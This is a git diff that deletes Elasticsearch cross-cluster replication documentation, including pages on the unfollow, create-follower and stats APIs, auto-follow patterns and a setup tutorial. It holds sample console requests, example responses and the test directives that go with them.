-  "max_write_buffer_size" : "512k",
-  "max_retry_delay" : "10s",
-  "read_poll_timeout" : "30s"
-}
---------------------------------------------------
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "acknowledged" : true
-}
---------------------------------------------------
diff --git a/docs/reference/ccr/apis/follow/post-unfollow.asciidoc b/docs/reference/ccr/apis/follow/post-unfollow.asciidoc
deleted file mode 100644
index d74f38aa221..00000000000
--- a/docs/reference/ccr/apis/follow/post-unfollow.asciidoc
+++ /dev/null
@@ -1,82 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ccr-post-unfollow]]
-=== Unfollow API
-++++
-<titleabbrev>Unfollow</titleabbrev>
-++++
-
-Converts a follower index to a regular index.
-
-[[ccr-post-unfollow-request]]
-==== {api-request-title}
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT /follower_index/_ccr/follow?wait_for_active_shards=1
-{
-  "remote_cluster" : "remote_cluster",
-  "leader_index" : "leader_index"
-}
-
-POST /follower_index/_ccr/pause_follow
-
-POST /follower_index/_close
---------------------------------------------------
-// TESTSETUP
-// TEST[setup:remote_cluster_and_leader_index]
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-POST /<follower_index>/_ccr/unfollow
---------------------------------------------------
-// TEST[s/<follower_index>/follower_index/]
-
-[[ccr-post-unfollow-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_follow_index` 
-index privileges for the follower index. For more information, see
-<<security-privileges>>.  
-
-[[ccr-post-unfollow-desc]]
-==== {api-description-title}
-
-This API stops the following task associated with a follower index and removes
-index metadata and settings associated with {ccr}. This enables the index to
-treated as a regular index. The follower index must be paused and closed before
-invoking the unfollow API.
-
-NOTE: Currently {ccr} does not support converting an existing regular index to a
-follower index. Converting a follower index to a regular index is an
-irreversible operation.
-
-[[ccr-post-unfollow-path-parms]]
-==== {api-path-parms-title}
-
-`<follower_index>`::
-  (Required, string) The name of the follower index.
-
-[[ccr-post-unfollow-examples]]
-==== {api-examples-title}
-
-This example converts `follower_index` from a follower index to a regular index:
-
-[source,console]
---------------------------------------------------
-POST /follower_index/_ccr/unfollow
---------------------------------------------------
-// TEST
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "acknowledged" : true
-}
---------------------------------------------------
diff --git a/docs/reference/ccr/apis/follow/put-follow.asciidoc b/docs/reference/ccr/apis/follow/put-follow.asciidoc
deleted file mode 100644
index 5a7f86e70a6..00000000000
--- a/docs/reference/ccr/apis/follow/put-follow.asciidoc
+++ /dev/null
@@ -1,119 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ccr-put-follow]]
-=== Create follower API
-++++
-<titleabbrev>Create follower</titleabbrev>
-++++
-
-Creates a follower index.
-
-[[ccr-put-follow-request]]
-==== {api-request-title}
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-POST /follower_index/_ccr/pause_follow
---------------------------------------------------
-// TEARDOWN
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT /<follower_index>/_ccr/follow?wait_for_active_shards=1
-{
-  "remote_cluster" : "<remote_cluster>",
-  "leader_index" : "<leader_index>"
-}
---------------------------------------------------
-// TEST[setup:remote_cluster_and_leader_index]
-// TEST[s/<follower_index>/follower_index/]
-// TEST[s/<remote_cluster>/remote_cluster/]
-// TEST[s/<leader_index>/leader_index/]
-
-[[ccr-put-follow-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `write`, `monitor`,
-and `manage_follow_index` index privileges for the follower index. You must have
-`read` and `monitor` index privileges for the leader index. You must also have
-`manage_ccr` cluster privileges on the cluster that contains the follower index.
-For more information, see <<security-privileges>>.
-
-[[ccr-put-follow-desc]]
-==== {api-description-title}
-
-This API creates a new follower index that is configured to follow the
-referenced leader index. When this API returns, the follower index exists, and
-{ccr} starts replicating operations from the leader index to the follower index.
-
-[[ccr-put-follow-path-parms]]
-==== {api-path-parms-title}
-
-`<follower_index>`::
-  (Required, string) The name of the follower index.
-
-[[ccr-put-follow-query-params]]
-==== {api-query-parms-title}
-
-`wait_for_active_shards`::
-  (Optional, integer) Specifies the number of shards to wait on being active before
-  responding. This defaults to waiting on none of the shards to be active. A
-  shard must be restored from the leader index before being active. Restoring a
-  follower shard requires transferring all the remote Lucene segment files to
-  the follower index.
-
-
-[[ccr-put-follow-request-body]]
-==== {api-request-body-title}
-
-`leader_index`::
-  (Required, string) The name of the index in the leader cluster to follow.
-
-`remote_cluster`::
-  (Required, string) The <<modules-remote-clusters,remote cluster>> containing
-  the leader index.
-
-include::../follow-request-body.asciidoc[]
-
-[[ccr-put-follow-examples]]
-==== {api-examples-title}
-
-This example creates a follower index named `follower_index`:
-
-[source,console]
---------------------------------------------------
-PUT /follower_index/_ccr/follow?wait_for_active_shards=1
-{
-  "remote_cluster" : "remote_cluster",
-  "leader_index" : "leader_index",
-  "settings": {
-    "index.number_of_replicas": 0
-  },
-  "max_read_request_operation_count" : 1024,
-  "max_outstanding_read_requests" : 16,
-  "max_read_request_size" : "1024k",
-  "max_write_request_operation_count" : 32768,
-  "max_write_request_size" : "16k",
-  "max_outstanding_write_requests" : 8,
-  "max_write_buffer_count" : 512,
-  "max_write_buffer_size" : "512k",
-  "max_retry_delay" : "10s",
-  "read_poll_timeout" : "30s"
-}
---------------------------------------------------
-// TEST[setup:remote_cluster_and_leader_index]
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "follow_index_created" : true,
-  "follow_index_shards_acked" : true,
-  "index_following_started" : true
-}
---------------------------------------------------
diff --git a/docs/reference/ccr/apis/get-ccr-stats.asciidoc b/docs/reference/ccr/apis/get-ccr-stats.asciidoc
deleted file mode 100644
index 4f781bce6e6..00000000000
--- a/docs/reference/ccr/apis/get-ccr-stats.asciidoc
+++ /dev/null
@@ -1,180 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ccr-get-stats]]
-=== Get {ccr} stats API
-[subs="attributes"]
-++++
-<titleabbrev>Get {ccr-init} stats</titleabbrev>
-++++
-
-Get {ccr} stats.
-
-[[ccr-get-stats-request]]
-==== {api-request-title}
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT /follower_index/_ccr/follow?wait_for_active_shards=1
-{
-  "remote_cluster" : "remote_cluster",
-  "leader_index" : "leader_index"
-}
---------------------------------------------------
-// TESTSETUP
-// TEST[setup:remote_cluster_and_leader_index]
-
-[source,console]
---------------------------------------------------
-POST /follower_index/_ccr/pause_follow
---------------------------------------------------
-// TEARDOWN
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-GET /_ccr/stats
---------------------------------------------------
-
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `monitor` cluster
-privileges on the cluster that contains the follower index. For more information,
-see <<security-privileges>>.
-
-[[ccr-get-stats-desc]]
-==== {api-description-title}
-
-This API gets {ccr} stats. This API will return all stats related to {ccr}. In
-particular, this API returns stats about auto-following, and returns the same
-shard-level stats as in the <<ccr-get-follow-stats,get follower stats API>>.
-
-[role="child_attributes"]
-[[ccr-get-stats-response-body]]
-==== {api-response-body-title}
-
-//Begin auto_follow_stats
-`auto_follow_stats`::
-(object) An object representing stats for the auto-follow coordinator.
-+
-.Properties of `auto_follow_stats`
-[%collapsible%open]
-====
-`number_of_failed_follow_indices`::
-(long) The number of indices that the auto-follow coordinator failed to
-automatically follow. The causes of recent failures are captured in the logs
-of the elected master node and in the
-`auto_follow_stats.recent_auto_follow_errors` field.
-
-`number_of_failed_remote_cluster_state_requests`::
-(long) The number of times that the auto-follow coordinator failed to retrieve
-the cluster state from a remote cluster registered in a collection of
-auto-follow patterns.
-
-`number_of_successful_follow_indices`::
-(long) The number of indices that the auto-follow coordinator successfully
-followed.
-
-`recent_auto_follow_errors`::
-(array) An array of objects representing failures by the auto-follow coordinator.
-====
-//End auto_follow_stats
-
-`follow_stats`::
-(object) An object representing shard-level stats for follower indices; refer to
-the details of the response in the
-<<ccr-get-follow-stats,get follower stats API>>.
-
-[[ccr-get-stats-examples]]
-==== {api-examples-title}
-
-This example retrieves {ccr} stats:
-
-[source,console]
---------------------------------------------------
-GET /_ccr/stats
---------------------------------------------------
-
-The API returns the following results:
-
-[source,console-result]
---------------------------------------------------
-{
-  "auto_follow_stats" : {
-    "number_of_failed_follow_indices" : 0,
-    "number_of_failed_remote_cluster_state_requests" : 0,
-    "number_of_successful_follow_indices" : 1,
-    "recent_auto_follow_errors" : [],
-    "auto_followed_clusters" : []
-  },
-  "follow_stats" : {
-    "indices" : [
-      {
-        "index" : "follower_index",
-        "shards" : [
-          {
-            "remote_cluster" : "remote_cluster",
-            "leader_index" : "leader_index",
-            "follower_index" : "follower_index",
-            "shard_id" : 0,
-            "leader_global_checkpoint" : 1024,
-            "leader_max_seq_no" : 1536,
-            "follower_global_checkpoint" : 768,
-            "follower_max_seq_no" : 896,
-            "last_requested_seq_no" : 897,
-            "outstanding_read_requests" : 8,
-            "outstanding_write_requests" : 2,
-            "write_buffer_operation_count" : 64,
-            "follower_mapping_version" : 4,
-            "follower_settings_version" : 2,
-            "follower_aliases_version" : 8,
-            "total_read_time_millis" : 32768,
-            "total_read_remote_exec_time_millis" : 16384,
-            "successful_read_requests" : 32,
-            "failed_read_requests" : 0,
-            "operations_read" : 896,
-            "bytes_read" : 32768,
-            "total_write_time_millis" : 16384,
-            "write_buffer_size_in_bytes" : 1536,
-            "successful_write_requests" : 16,
-            "failed_write_requests" : 0,
-            "operations_written" : 832,
-            "read_exceptions" : [ ],
-            "time_since_last_read_millis" : 8
-          }
-        ]
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"number_of_failed_follow_indices" : 0/"number_of_failed_follow_indices" : $body.auto_follow_stats.number_of_failed_follow_indices/]
-// TESTRESPONSE[s/"number_of_failed_remote_cluster_state_requests" : 0/"number_of_failed_remote_cluster_state_requests" : $body.auto_follow_stats.number_of_failed_remote_cluster_state_requests/]
-// TESTRESPONSE[s/"number_of_successful_follow_indices" : 1/"number_of_successful_follow_indices" : $body.auto_follow_stats.number_of_successful_follow_indices/]
-// TESTRESPONSE[s/"recent_auto_follow_errors" : \[\]/"recent_auto_follow_errors" : $body.auto_follow_stats.recent_auto_follow_errors/]
-// TESTRESPONSE[s/"auto_followed_clusters" : \[\]/"auto_followed_clusters" : $body.auto_follow_stats.auto_followed_clusters/]
-// TESTRESPONSE[s/"leader_global_checkpoint" : 1024/"leader_global_checkpoint" : $body.follow_stats.indices.0.shards.0.leader_global_checkpoint/]
-// TESTRESPONSE[s/"leader_max_seq_no" : 1536/"leader_max_seq_no" : $body.follow_stats.indices.0.shards.0.leader_max_seq_no/]
-// TESTRESPONSE[s/"follower_global_checkpoint" : 768/"follower_global_checkpoint" : $body.follow_stats.indices.0.shards.0.follower_global_checkpoint/]
-// TESTRESPONSE[s/"follower_max_seq_no" : 896/"follower_max_seq_no" : $body.follow_stats.indices.0.shards.0.follower_max_seq_no/]
-// TESTRESPONSE[s/"last_requested_seq_no" : 897/"last_requested_seq_no" : $body.follow_stats.indices.0.shards.0.last_requested_seq_no/]
-// TESTRESPONSE[s/"outstanding_read_requests" : 8/"outstanding_read_requests" : $body.follow_stats.indices.0.shards.0.outstanding_read_requests/]
-// TESTRESPONSE[s/"outstanding_write_requests" : 2/"outstanding_write_requests" : $body.follow_stats.indices.0.shards.0.outstanding_write_requests/]
-// TESTRESPONSE[s/"write_buffer_operation_count" : 64/"write_buffer_operation_count" : $body.follow_stats.indices.0.shards.0.write_buffer_operation_count/]
-// TESTRESPONSE[s/"follower_mapping_version" : 4/"follower_mapping_version" : $body.follow_stats.indices.0.shards.0.follower_mapping_version/]
-// TESTRESPONSE[s/"follower_settings_version" : 2/"follower_settings_version" : $body.follow_stats.indices.0.shards.0.follower_settings_version/]
-// TESTRESPONSE[s/"follower_aliases_version" : 8/"follower_aliases_version" : $body.follow_stats.indices.0.shards.0.follower_aliases_version/]
-// TESTRESPONSE[s/"total_read_time_millis" : 32768/"total_read_time_millis" : $body.follow_stats.indices.0.shards.0.total_read_time_millis/]
-// TESTRESPONSE[s/"total_read_remote_exec_time_millis" : 16384/"total_read_remote_exec_time_millis" : $body.follow_stats.indices.0.shards.0.total_read_remote_exec_time_millis/]
-// TESTRESPONSE[s/"successful_read_requests" : 32/"successful_read_requests" : $body.follow_stats.indices.0.shards.0.successful_read_requests/]
-// TESTRESPONSE[s/"failed_read_requests" : 0/"failed_read_requests" : $body.follow_stats.indices.0.shards.0.failed_read_requests/]
-// TESTRESPONSE[s/"operations_read" : 896/"operations_read" : $body.follow_stats.indices.0.shards.0.operations_read/]
-// TESTRESPONSE[s/"bytes_read" : 32768/"bytes_read" : $body.follow_stats.indices.0.shards.0.bytes_read/]
-// TESTRESPONSE[s/"total_write_time_millis" : 16384/"total_write_time_millis" : $body.follow_stats.indices.0.shards.0.total_write_time_millis/]
-// TESTRESPONSE[s/"write_buffer_size_in_bytes" : 1536/"write_buffer_size_in_bytes" : $body.follow_stats.indices.0.shards.0.write_buffer_size_in_bytes/]
-// TESTRESPONSE[s/"successful_write_requests" : 16/"successful_write_requests" : $body.follow_stats.indices.0.shards.0.successful_write_requests/]
-// TESTRESPONSE[s/"failed_write_requests" : 0/"failed_write_requests" : $body.follow_stats.indices.0.shards.0.failed_write_requests/]
-// TESTRESPONSE[s/"operations_written" : 832/"operations_written" : $body.follow_stats.indices.0.shards.0.operations_written/]
-// TESTRESPONSE[s/"time_since_last_read_millis" : 8/"time_since_last_read_millis" : $body.follow_stats.indices.0.shards.0.time_since_last_read_millis/]
diff --git a/docs/reference/ccr/auto-follow.asciidoc b/docs/reference/ccr/auto-follow.asciidoc
deleted file mode 100644
index d072dd8022b..00000000000
--- a/docs/reference/ccr/auto-follow.asciidoc
+++ /dev/null
@@ -1,82 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ccr-auto-follow]]
-=== Manage auto-follow patterns
-To replicate time series indices, you configure an auto-follow pattern so that
-each new index in the series is replicated automatically. Whenever the name of
-a new index on the remote cluster matches the auto-follow pattern, a
-corresponding follower index is added to the local cluster.
-
-Auto-follow patterns are especially useful with
-<<index-lifecycle-management,{ilm-cap}>>, which might continually create
-new indices on the cluster containing the leader index.
-
-[[ccr-access-ccr-auto-follow]]
-To start using {ccr} auto-follow patterns, access {kib} and go to
-*Management > Stack Management*. In the side navigation, select
-*Cross-Cluster Replication* and choose the *Auto-follow patterns* tab
-
-[[ccr-auto-follow-create]]
-==== Create auto-follow patterns
-When you <<ccr-getting-started-auto-follow,create an auto-follow pattern>>,
-you are configuring a collection of patterns against a single remote cluster.
-When an index is created in the remote cluster with a name that matches one of
-the patterns in the collection, a follower index is configured in the local
-cluster. The follower index uses the new index as its leader index.
-
-[%collapsible]
-.Use the API
-====
-Use the <<ccr-put-auto-follow-pattern,create auto-follow pattern API>> to add a
-new auto-follow pattern configuration.
-====
-
-[[ccr-auto-follow-retrieve]]
-==== Retrieve auto-follow patterns
-To view existing auto-follow patterns and make changes to the backing
-patterns, <<ccr-access-ccr-auto-follow,access {kib}>> on your _remote_ cluster.
-
-Select the auto-follow pattern that you want to view details about. From there,
-you can make changes to the auto-follow pattern. You can also view your
-follower indices included in the auto-follow pattern.
-
-[%collapsible]
-.Use the API
-====
-Use the <<ccr-get-auto-follow-pattern,get auto-follow pattern API>> to inspect
-all configured auto-follow pattern collections.
-====
-
-[[ccr-auto-follow-pause]]
-==== Pause and resume auto-follow patterns
-To pause and resume replication of auto-follow pattern collections,
-<<ccr-access-ccr-auto-follow,access {kib}>>, select the auto-follow pattern,
-and pause replication.
-
-To resume replication, select the pattern and choose
-*Manage pattern > Resume replication*.
-
-[%collapsible]
-.Use the API
-====
-Use the <<ccr-pause-auto-follow-pattern,pause auto-follow pattern API>> to
-pause auto-follow patterns.
-Use the <<ccr-resume-auto-follow-pattern,resume auto-follow pattern API>> to
-resume auto-follow patterns.
-====
-
-[[ccr-auto-follow-delete]]
-==== Delete auto-follow patterns
-To delete an auto-follow pattern collection,
-<<ccr-access-ccr-auto-follow,access {kib}>>, select the auto-follow pattern,
-and pause replication.
-
-When the pattern status changes to Paused, choose
-*Manage pattern > Delete pattern*.
-
-[%collapsible]
-.Use the API
-====
-Use the <<ccr-delete-auto-follow-pattern,delete auto-follow pattern API>> to
-delete a configured auto-follow pattern collection.
-====
diff --git a/docs/reference/ccr/getting-started.asciidoc b/docs/reference/ccr/getting-started.asciidoc
deleted file mode 100644
index 40bffe49c3e..00000000000
--- a/docs/reference/ccr/getting-started.asciidoc
+++ /dev/null
@@ -1,333 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ccr-getting-started]]
-=== Tutorial: Set up {ccr}
-++++
-<titleabbrev>Set up {ccr}</titleabbrev>
-++++
-
-////
-[source,console]
-----
-PUT /server-metrics
-{
-  "settings" : {
-    "index" : {
-      "number_of_shards" : 1,
-      "number_of_replicas" : 0
-    }
-  },
-  "mappings" : {
-    "properties" : {
-      "@timestamp" : {
-        "type" : "date"
-      },
-      "accept" : {
-        "type" : "long"
-      },
-      "deny" : {
-        "type" : "long"
-      },
-      "host" : {
-        "type" : "keyword"
-      },
-      "response" : {
-        "type" : "float"
-      },
-      "service" : {
-        "type" : "keyword"
-      },
-      "total" : {
-        "type" : "long"
-      }
-    }
-  }
-}
-----
-// TESTSETUP
-////
-
-Use this guide to set up {ccr} (CCR) between clusters in two
-datacenters. Replicating your data across datacenters provides several benefits:
-
-* Brings data closer to your users or application server to reduce latency and
-response time
-* Provides your mission-critical applications with the tolerance to withstand datacenter or region outages
-
-In this guide, you'll learn how to:
-
-* Configure a <<modules-remote-clusters,remote cluster>> with a leader index
-* Create a follower index on a local cluster
-* Create an auto-follow pattern to automatically follow time series indices
-that are periodically created in a remote cluster
-
-You can manually create follower indices to replicate specific indices on a
-remote cluster, or configure auto-follow patterns to replicate rolling time series indices.
-
-video::https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt994089f5e841ad69/5f6265de6f40ab4648b5cf9b/ccr-setup-video-edited.mp4[width=700, height=500, options="autoplay,loop"]
-
-[[ccr-getting-started-prerequisites]]
-==== Prerequisites
-To complete this tutorial, you need:
-
-* A license on both clusters that includes {ccr}. {kibana-ref}/managing-licenses.html[Activate a free 30-day trial].
-* The `read_ccr` cluster privilege and `monitor` and `read` privileges
-for the leader index on the remote cluster. <<stack-management-ccr-remote,Configure remote cluster privileges>>.
-* The `manage_ccr` cluster privilege and `monitor`, `read`, `write` and
-`manage_follow_index` privileges to configure remote clusters and follower
-indices on the local cluster. <<stack-management-ccr-local,Configure local cluster privileges>>.
-* An index on the remote cluster that contains the data you want to replicate.
-This tutorial uses the sample eCommerce orders data set.
-{kibana-ref}/get-started.html#gs-get-data-into-kibana[Load sample data].
-
-[[ccr-getting-started-remote-cluster]]
-==== Connect to a remote cluster
-To replicate an index on a remote cluster (Cluster A) to a local cluster (Cluster B), you configure Cluster A as a remote on Cluster B.
-
-image::images/ccr-tutorial-clusters.png[ClusterA contains the leader index and ClusterB contains the follower index]
-
-To configure a remote cluster from Stack Management in {kib}:
-
-. Select *Remote Clusters* from the side navigation.
-. Specify the IP address or host name of the remote cluster (ClusterB),
-followed by the transport port of the remote cluster (defaults to `9300`). For
-example, `192.168.1.1:9300`.
-
-[role="screenshot"]
-image::images/ccr-add-remote-cluster.png["The Add remote clusters page in {kib}"]
-
-[%collapsible]
-.API example
-====
-Use the <<cluster-update-settings,cluster update settings API>> to add a remote cluster:
-
-[source,console]
---------------------------------------------------
-PUT /_cluster/settings
-{
-  "persistent" : {
-    "cluster" : {
-      "remote" : {
-        "leader" : {
-          "seeds" : [
-            "127.0.0.1:9300" <1>
-          ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:host]
-// TEST[s/127.0.0.1:9300/\${transport_host}/]
-<1> Specifies the hostname and transport port of a seed node in the remote
-    cluster.
-
-You can verify that the local cluster is successfully connected to the remote
-cluster.
-
-[source,console]
---------------------------------------------------
-GET /_remote/info
---------------------------------------------------
-// TEST[continued]
-
-The API will respond by showing that the local cluster is connected to the
-remote cluster.
-
-[source,console-result]
---------------------------------------------------
-{
-  "leader" : {
-    "seeds" : [
-      "127.0.0.1:9300"
-    ],
-    "connected" : true, <1>
-    "num_nodes_connected" : 1, <2>
-    "max_connections_per_cluster" : 3,
-    "initial_connect_timeout" : "30s",
-    "skip_unavailable" : false,
-    "mode" : "sniff"
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/127.0.0.1:9300/$body.leader.seeds.0/]
-// TEST[s/"connected" : true/"connected" : $body.leader.connected/]
-// TEST[s/"num_nodes_connected" : 1/"num_nodes_connected" : $body.leader.num_nodes_connected/]
-<1> This shows the local cluster is connected to the remote cluster with cluster
-    alias `leader`
-<2> This shows the number of nodes in the remote cluster the local cluster is
-    connected to.
-====
-
-[[ccr-enable-soft-deletes]]
-==== Enable soft deletes on leader indices
-To follow an index, it must have been created with
-<<ccr-leader-requirements,soft deletes>> enabled. If the index doesn’t have
-soft deletes enabled, you must reindex it and use the new index as the leader
-index. Soft deletes are enabled by default on new indices
-created with {es} 7.0.0 and later.
-
-[[ccr-getting-started-follower-index]]
-==== Create a follower index to replicate a specific index
-When you create a follower index, you reference the remote cluster and the
-leader index in your remote cluster.
-
-To create a follower index from Stack Management in {kib}:
-
-. Select *Cross-Cluster Replication* in the side navigation and choose the
-*Follower Indices* tab.
-. Choose the cluster (ClusterA) containing the leader index you want to
-replicate.
-. Enter the name of the leader index, which is
-`kibana_sample_data_ecommerce` if you are following the tutorial.
-. Enter a name for your follower index, such as `follower-kibana-sample-data`.
-
-image::images/ccr-add-follower-index.png["Adding a follower index named server-metrics in {kib}"]
-
-{es} initializes the follower using the
-<<ccr-remote-recovery, remote recovery>>
-process, which transfers the existing Lucene segment files from the leader
-index to the follower index. The index status changes to *Paused*. When the
-remote recovery process is complete, the index following begins and the status
-changes to *Active*.
-
-When you index documents into your leader index, {es} replicates the documents
-in the follower index.
-
-[role="screenshot"]
-image::images/ccr-follower-index.png["The Cross-Cluster Replication page in {kib}"]
-
-[%collapsible]
-.API example
-====
-Use the <<ccr-put-follow,create follower API>> to create follower indices.
-When you create a follower index, you must reference the remote cluster and the
-leader index that you created in the
-remote cluster.
-
-When initiating the follower request, the response returns before the
-<<ccr-remote-recovery, remote recovery>> process completes. To wait for the process
-to complete, add the `wait_for_active_shards` parameter to your request.
-
-[source,console]
---------------------------------------------------
-PUT /server-metrics-follower/_ccr/follow?wait_for_active_shards=1
-{
-  "remote_cluster" : "leader",
-  "leader_index" : "server-metrics"
-}
---------------------------------------------------
-// TEST[continued]
-
-//////////////////////////
-
-[source,console-result]
---------------------------------------------------
-{
-  "follow_index_created" : true,
-  "follow_index_shards_acked" : true,
-  "index_following_started" : true
-}
---------------------------------------------------
-
-//////////////////////////
-
-Use the
-<<ccr-get-follow-stats,get follower stats API>> to inspect the status of
-replication
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-POST /server-metrics-follower/_ccr/pause_follow
-
-POST /server-metrics-follower/_close
-
-POST /server-metrics-follower/_ccr/unfollow
---------------------------------------------------
-// TEST[continued]
-
-//////////////////////////
-====
-
-[[ccr-getting-started-auto-follow]]
-==== Create an auto-follow pattern to replicate time series indices
-You use <<ccr-auto-follow,auto-follow patterns>> to automatically create new
-followers for rolling time series indices. Whenever the name of a new index on
-the remote cluster matches the auto-follow pattern, a corresponding follower
-index is added to the local cluster.
-
-An auto-follow pattern specifies the remote cluster you want to replicate from,
-and one or more index patterns that specify the rolling time series indices you
-want to replicate.
-
-// tag::ccr-create-auto-follow-pattern-tag[]
-To create an auto-follow pattern from Stack Management in {kib}:
-
-. Select *Cross Cluster Replication* in the side navigation and choose the
-*Auto-follow patterns* tab.
-. Enter a name for the auto-follow pattern, such as `beats`.
-. Choose the remote cluster that contains the index you want to replicate,
-which in the example scenario is Cluster A.
-. Enter one or more index patterns that identify the indices you want to
-replicate from the remote cluster. For example, enter
-`metricbeat-* packetbeat-*` to automatically create followers for {metricbeat} and {packetbeat} indices.
-. Enter *follower-* as the prefix to apply to the names of the follower indices so
-you can more easily identify replicated indices.
-
-As new indices matching these patterns are
-created on the remote, {es} automatically replicates them to local follower indices.
-
-[role="screenshot"]
-image::images/auto-follow-patterns.png["The Auto-follow patterns page in {kib}"]
-
-// end::ccr-create-auto-follow-pattern-tag[]
-
-[%collapsible]
-.API example
-====
-Use the <<ccr-put-auto-follow-pattern,create auto-follow pattern API>> to
-configure auto-follow patterns.
-
-[source,console]
---------------------------------------------------
-PUT /_ccr/auto_follow/beats
-{
-  "remote_cluster" : "leader",
-  "leader_index_patterns" :
-  [
-    "metricbeat-*", <1>
-    "packetbeat-*" <2>
-  ],
-  "follow_index_pattern" : "{{leader_index}}-copy" <3>
-}
---------------------------------------------------
-// TEST[continued]
-<1> Automatically follow new {metricbeat} indices.
-<2> Automatically follow new {packetbeat} indices.
-<3> The name of the follower index is derived from the name of the leader index
-    by adding the suffix `-copy` to the name of the leader index.
-
-//////////////////////////
-
-[source,console-result]
---------------------------------------------------
-{
-  "acknowledged" : true
-}
---------------------------------------------------
-
-//////////////////////////
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-DELETE /_ccr/auto_follow/beats
---------------------------------------------------
-// TEST[continued]
-
-//////////////////////////
-====
diff --git a/docs/reference/ccr/images/auto-follow-patterns.jpg b/docs/reference/ccr/images/auto-follow-patterns.jpg
deleted file mode 100644
index bc32d8fadfa..00000000000
Binary files a/docs/reference/ccr/images/auto-follow-patterns.jpg and /dev/null differ
diff --git a/docs/reference/ccr/images/auto-follow-patterns.png b/docs/reference/ccr/images/auto-follow-patterns.png
deleted file mode 100644
index 69e1cc8641b..00000000000
Binary files a/docs/reference/ccr/images/auto-follow-patterns.png and /dev/null differ
diff --git a/docs/reference/ccr/images/ccr-add-follower-index.png b/docs/reference/ccr/images/ccr-add-follower-index.png
deleted file mode 100644
index c61ff967769..00000000000
Binary files a/docs/reference/ccr/images/ccr-add-follower-index.png and /dev/null differ
diff --git a/docs/reference/ccr/images/ccr-add-remote-cluster.png b/docs/reference/ccr/images/ccr-add-remote-cluster.png
deleted file mode 100644
index c781b86df44..00000000000
Binary files a/docs/reference/ccr/images/ccr-add-remote-cluster.png and /dev/null differ
diff --git a/docs/reference/ccr/images/ccr-arch-bi-directional.png b/docs/reference/ccr/images/ccr-arch-bi-directional.png
deleted file mode 100644
index 9c936cd9f4b..00000000000
Binary files a/docs/reference/ccr/images/ccr-arch-bi-directional.png and /dev/null differ
diff --git a/docs/reference/ccr/images/ccr-arch-central-reporting.png b/docs/reference/ccr/images/ccr-arch-central-reporting.png
deleted file mode 100644
index 55f50af5604..00000000000
Binary files a/docs/reference/ccr/images/ccr-arch-central-reporting.png and /dev/null differ
diff --git a/docs/reference/ccr/images/ccr-arch-chain-dcs.png b/docs/reference/ccr/images/ccr-arch-chain-dcs.png
deleted file mode 100644
index 042a8185c75..00000000000
Binary files a/docs/reference/ccr/images/ccr-arch-chain-dcs.png and /dev/null differ
diff --git a/docs/reference/ccr/images/ccr-arch-data-locality.png b/docs/reference/ccr/images/ccr-arch-data-locality.png
deleted file mode 100644
index a2b67b07284..00000000000
Binary files a/docs/reference/ccr/images/ccr-arch-data-locality.png and /dev/null differ
diff --git a/docs/reference/ccr/images/ccr-arch-disaster-recovery.png b/docs/reference/ccr/images/ccr-arch-disaster-recovery.png
deleted file mode 100644
index 244c71910ff..00000000000
Binary files a/docs/reference/ccr/images/ccr-arch-disaster-recovery.png and /dev/null differ
diff --git a/docs/reference/ccr/images/ccr-arch-multiple-dcs.png b/docs/reference/ccr/images/ccr-arch-multiple-dcs.png
deleted file mode 100644
index 2a2fd05a007..00000000000
Binary files a/docs/reference/ccr/images/ccr-arch-multiple-dcs.png and /dev/null differ
diff --git a/docs/reference/ccr/images/ccr-follower-index.png b/docs/reference/ccr/images/ccr-follower-index.png
deleted file mode 100644
index dee64c5272c..00000000000
Binary files a/docs/reference/ccr/images/ccr-follower-index.png and /dev/null differ
diff --git a/docs/reference/ccr/images/ccr-tutorial-clusters.png b/docs/reference/ccr/images/ccr-tutorial-clusters.png
deleted file mode 100644
index ef1fff4dc13..00000000000
Binary files a/docs/reference/ccr/images/ccr-tutorial-clusters.png and /dev/null differ
diff --git a/docs/reference/ccr/images/remote-clusters.jpg b/docs/reference/ccr/images/remote-clusters.jpg
deleted file mode 100644
index a843320c231..00000000000
Binary files a/docs/reference/ccr/images/remote-clusters.jpg and /dev/null differ
diff --git a/docs/reference/ccr/index.asciidoc b/docs/reference/ccr/index.asciidoc
deleted file mode 100644
index 5adf860e9d0..00000000000
--- a/docs/reference/ccr/index.asciidoc
+++ /dev/null
@@ -1,302 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[xpack-ccr]]
-== {ccr-cap}
-With {ccr}, you can replicate indices across clusters to:
-
-* Continue handling search requests in the event of a datacenter outage
-* Prevent search volume from impacting indexing throughput
-* Reduce search latency by processing search requests in geo-proximity to the
-user
-
-{ccr-cap} uses an active-passive model. You index to a _leader_ index, and the
-data is replicated to one or more read-only _follower_ indices. Before you can add a follower index to a cluster, you must configure the _remote cluster_ that contains the leader index.
-
-When the leader index receives writes, the follower indices pull changes from
-the leader index on the remote cluster. You can manually create follower
-indices, or configure auto-follow patterns to automatically create follower
-indices for new time series indices.
-
-You configure {ccr} clusters in a uni-directional or bi-directional setup:
-
-* In a uni-directional configuration, one cluster contains only
-leader indices, and the other cluster contains only follower indices.
-* In a bi-directional configuration, each cluster contains both leader and
-follower indices.
-
